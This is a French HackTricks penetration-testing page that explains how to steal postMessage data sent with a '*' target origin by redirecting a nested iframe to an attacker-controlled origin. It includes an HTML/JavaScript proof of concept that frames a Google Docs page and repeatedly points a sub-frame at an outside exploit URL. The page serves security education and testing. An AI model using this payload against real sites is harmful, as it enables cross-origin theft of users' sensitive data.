Voler postmessage en modifiant l'emplacement de l'iframe

Reading time: 2 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Changer les emplacements des iframes enfants

Selon cet article, si vous pouvez iframe une page web sans X-Frame-Header qui contient une autre iframe, vous pouvez changer l'emplacement de cette iframe enfant.

Par exemple, si abc.com a efg.com comme iframe et que abc.com n'a pas d'en-tête X-Frame, je pourrais changer efg.com en evil.com cross origin en utilisant frames.location.

Ceci est particulièrement utile dans postMessages car si une page envoie des données sensibles en utilisant un wildcard comme windowRef.postmessage("","*"), il est possible de changer l'emplacement de l'iframe associée (enfant ou parent) vers un emplacement contrôlé par un attaquant et de voler ces données.

html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)

function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
</html>

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks